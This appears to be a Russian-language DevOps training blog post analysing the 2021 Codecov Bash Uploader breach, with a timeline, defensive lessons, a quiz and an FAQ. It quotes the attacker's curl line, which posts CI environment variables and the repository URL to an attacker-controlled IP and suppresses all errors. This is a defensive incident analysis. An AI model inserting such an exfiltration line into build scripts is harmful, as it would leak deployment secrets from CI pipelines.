kai.kzLab

Взлом Codecov 2021 года: как одна строка в Bash Uploader два месяца отправляла наружу переменные окружения CI

Команда KAI Lab · · 7 мин чтения

С 31 января по 1 апреля 2021 года злоумышленник периодически подменял Bash Uploader — скрипт Codecov, который клиенты запускали в своих CI-пайплайнах, — и добавленная строка отправляла на чужой сервер все переменные окружения сборки вместе с адресом репозитория. Изменить скрипт атакующий смог из-за ошибки в процессе сборки Docker-образа Codecov: она позволила извлечь учётные данные, нужные для правки скрипта.

Подмену заметил клиент: контрольная сумма скачанного скрипта не совпала с опубликованной на GitHub. 15 апреля Codecov рассказала об инциденте и посоветовала всем, кто пользовался загрузчиком, перевыпустить все секреты, которые были в окружении CI.

Главное о взломе в одной таблице

ВопросОтвет
Когдаподмены скрипта — с 31 января 2021, обнаружено 1 апреля, раскрыто 15 апреля
Что подменилиBash Uploader — скрипт, который отправляет в Codecov отчёты о покрытии кода тестами
Кого заделовсех, кто в этот период запускал Bash Uploader, а также GitHub Action, CircleCI Orb и Bitrise Step от Codecov, которые его используют
Как попалиошибка в процессе создания Docker-образа Codecov позволила извлечь учётные данные для изменения скрипта
Что уходило наружувывод env и git remote -v: токены, ключи и пароли из окружения CI и адрес репозитория
Чем опаснос этими секретами открыт доступ к сервисам, хранилищам и коду, куда они вели
Как заметиликлиент сравнил контрольную сумму скачанного скрипта с опубликованной
Что делать клиентамперевыпустить все учётные данные, токены и ключи из переменных окружения CI

Хронология взлома Codecov

ДатаЧто произошло
31 января 2021Начинаются периодические несанкционированные изменения Bash Uploader
Февраль–мартВ периоды подмены скрипт в CI клиентов отправляет их переменные окружения на сервер атакующего
1 апреля, утроКлиент сообщает Codecov: контрольная сумма скачанного скрипта не совпадает с той, что на GitHub. Codecov закрывает доступ и исправляет скрипт
1–15 апреляРасследование с внешней криминалистической компанией, обращение в правоохранительные органы
15 апреляПубличное сообщение Codecov: что случилось, кого задело, что делать, индикаторы компрометации

Как работала подмена

Bash Uploader отправлял отчёты о покрытии тестами из CI в Codecov. Обычно его не хранили в репозитории, а скачивали прямо во время сборки, в духе bash <(curl -s https://codecov.io/bash). Значит, каждый запуск исполнял ту версию скрипта, которая в этот момент лежала на сервере Codecov.

В подменённую версию добавили строку, которую Codecov опубликовала как индикатор компрометации:

curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" https://<IP атакующего>/upload/v2 || true

Разберём её по частям:

  • $(env) — все переменные окружения процесса сборки. В CI это обычно токены деплоя, ключи облаков, пароли к registry и базам.
  • $(git remote -v) — адрес репозитория, чтобы атакующий знал, чьи это секреты.
  • -d отправляет всё это POST-запросом, -s убирает вывод.
  • -m 0.5 ограничивает запрос половиной секунды: сборка не замедляется заметно.
  • || true гасит любую ошибку, и пайплайн не падает, даже если сервер атакующего недоступен.

Ни падений, ни задержек, ни лишнего вывода. Такую строку можно заметить только тем способом, которым её и нашли, — сравнив скачанный файл с эталоном.

Откуда у атакующего доступ

Codecov описывает причину одной фразой: ошибка в процессе создания Docker-образа позволила атакующему извлечь учётные данные, нужные для изменения Bash Uploader. Подробностей компания не раскрывает.

Для DevOps-инженера фраза знакомая. Образ — это набор слоёв, и всё, что попало в слой, остаётся в нём навсегда, даже если следующая инструкция файл удалила. Значения ARG видны в истории образа, а файл с ключом, скопированный через COPY и удалённый через RUN rm, лежит в предыдущем слое. Проверить свой образ можно так:

$ docker history --no-trunc myapp:latest | grep -i -E 'token|key|secret|password'
$ docker save myapp:latest -o myapp.tar   # слои можно распаковать и просмотреть

Правильный способ передать секрет в сборку — секреты BuildKit. Они монтируются только на время одной инструкции и не попадают в слои:

# Dockerfile: RUN --mount=type=secret,id=npmrc,target=/root/.npmrc npm ci
$ docker build --secret id=npmrc,src=$HOME/.npmrc -t myapp .

Почему это атака на цепочку поставок

Codecov взломали не ради неё самой. Ценность была в том, что её скрипт исполнялся внутри пайплайнов клиентов, рядом с их самыми ценными секретами. Взлом одного поставщика дал доступ к окружению его клиентов, и каждому из них пришлось перевыпускать ключи.

CI — лучшее место для такой атаки. Там собраны ключи от прода, registry, облаков и репозиториев, а сторонний код запускается в каждой сборке. Через два года тот же урок повторился в инциденте CircleCI, где клиентам тоже пришлось менять все секреты разом.

Уроки для DevOps

1. Сторонний код в CI — только проверенный и закреплённый

Не запускайте скрипты из сети в духе curl | bash. Закрепляйте версию, проверяйте подпись и контрольную сумму, а лучше кладите проверенную копию в свой образ сборки. Codecov сейчас рекомендует проверять свой CLI перед запуском. После импорта их PGP-ключа по инструкции из документации это выглядит так:

$ curl -Os https://cli.codecov.io/latest/linux/codecov
$ curl -Os https://cli.codecov.io/latest/linux/codecov.SHA256SUM
$ curl -Os https://cli.codecov.io/latest/linux/codecov.SHA256SUM.sig
$ gpg --verify codecov.SHA256SUM.sig codecov.SHA256SUM
$ shasum -a 256 -c codecov.SHA256SUM
codecov: OK

То же касается GitHub Actions и других плагинов: ссылка на тег может начать указывать на другой код, а ссылка на полный хеш коммита — нет.

2. Шагу сборки — только его секреты

Загрузчику покрытия нужен один токен Codecov, а видел он всё окружение джобы. Передавайте секреты в конкретный шаг, а не во всю джобу, разделяйте джобы по уровню доступа и не держите ключи от прода там, где запускаются тесты и сторонние инструменты.

3. Короткоживущие учётные данные вместо вечных ключей

Статический ключ облака, утёкший в феврале, работает и в апреле. Токен, выданный через OIDC на время одной джобы, к моменту, когда атакующий его прочитает, уже бесполезен. Большинство CI-систем и облаков это поддерживают.

4. Исходящий трафик из CI можно ограничить

Строка отправляла данные на произвольный IP-адрес. Раннер, которому разрешено ходить только в registry, репозиторий и нужные API, такой запрос бы не пропустил, а попытка попала бы в логи.

5. Проверяйте, что раздаёте сами

Codecov два месяца не замечала, что её собственный скрипт подменён. Если вы публикуете артефакты, скрипты или образы, регулярно сверяйте то, что реально отдаётся пользователям, с эталоном из репозитория.

Что проверить у себя завтра:

  • какие скрипты, actions и плагины CI скачиваются из сети при каждой сборке и закреплены ли они по хешу;
  • какие секреты видит каждый шаг пайплайна и нужны ли они ему;
  • есть ли в истории ваших образов значения ARG или удалённые файлы с ключами;
  • сколько времени займёт перевыпуск всех секретов CI, если это понадобится завтра.

Реши сам

Вопрос 1. Почему пайплайны клиентов не падали и не тормозили из-за лишнего запроса?

  1. Запрос шёл в фоне через cron
  2. -m 0.5 ограничивал его половиной секунды, -s скрывал вывод, а || true гасил ошибки
  3. Codecov заранее разрешила такие запросы
  4. CI не выполняет curl
Показать ответ

Верный ответ — 2. Строка была написана так, чтобы не оставлять видимых следов в сборке. Поэтому обнаружить её можно было только сравнением контрольной суммы или контролем исходящего трафика.

Вопрос 2. Что клиенту Codecov нужно было сделать первым делом после новости?

  1. Удалить Codecov из пайплайна, и этого достаточно
  2. Перевыпустить все секреты, которые были в окружении CI при запусках загрузчика
  3. Сменить пароль от аккаунта Codecov
  4. Ничего, если репозиторий приватный
Показать ответ

Верный ответ — 2. Утёкший секрет считается скомпрометированным, пока его не заменили. Удаление скрипта остановит новые утечки, но не отменит старые.

Частые вопросы

Что случилось с Codecov в 2021 году? Атакующий получил учётные данные из-за ошибки в процессе сборки Docker-образа Codecov и с 31 января 2021 года периодически менял Bash Uploader. Изменённый скрипт отправлял переменные окружения CI клиентов на сторонний сервер. 1 апреля подмену заметил клиент.

Какие данные могли утечь? Все учётные данные, токены и ключи, которые передавались через окружение CI при запуске загрузчика, и адрес репозитория. С ними атакующий мог получить доступ к сервисам, хранилищам и коду, к которым эти секреты давали доступ.

Кого касался взлом? Тех, кто в период подмены использовал Bash Uploader, а также GitHub Action, CircleCI Orb или Bitrise Step от Codecov, построенные на нём.

Как понять, какие секреты были под угрозой? Codecov советовала выполнить env в том же окружении CI, где запускался загрузчик, и перевыпустить всё, что содержит учётные данные. Отдельно — проверить журналы использования токенов и ключей за этот период.

Пройти похожий сбой самому

В симуляторе DevOps KAI Lab разбор Codecov стоит в третьем месяце, посвящённом Docker. После него коллега просит проверить образ сервиса оплаты: в сборку передают токен для приватных npm-пакетов, и надо выяснить, не остаётся ли он в образе. Похожая история с облачными ключами — в разборе утечки Capital One и ключа AWS в репозитории Uber.

Начать можно бесплатно: тест навыков и первые задания первого месяца.

Источники

  • Codecov. Bash Uploader Security Update, 15.04.2021 — хронология, причина, индикаторы компрометации, рекомендации клиентам.
  • Codecov Docs. Codecov Uploader и CLI — проверка подписи и контрольной суммы перед запуском.
  • Docker Docs. Build secrets — передача секретов в сборку без попадания в слои.

Читать дальше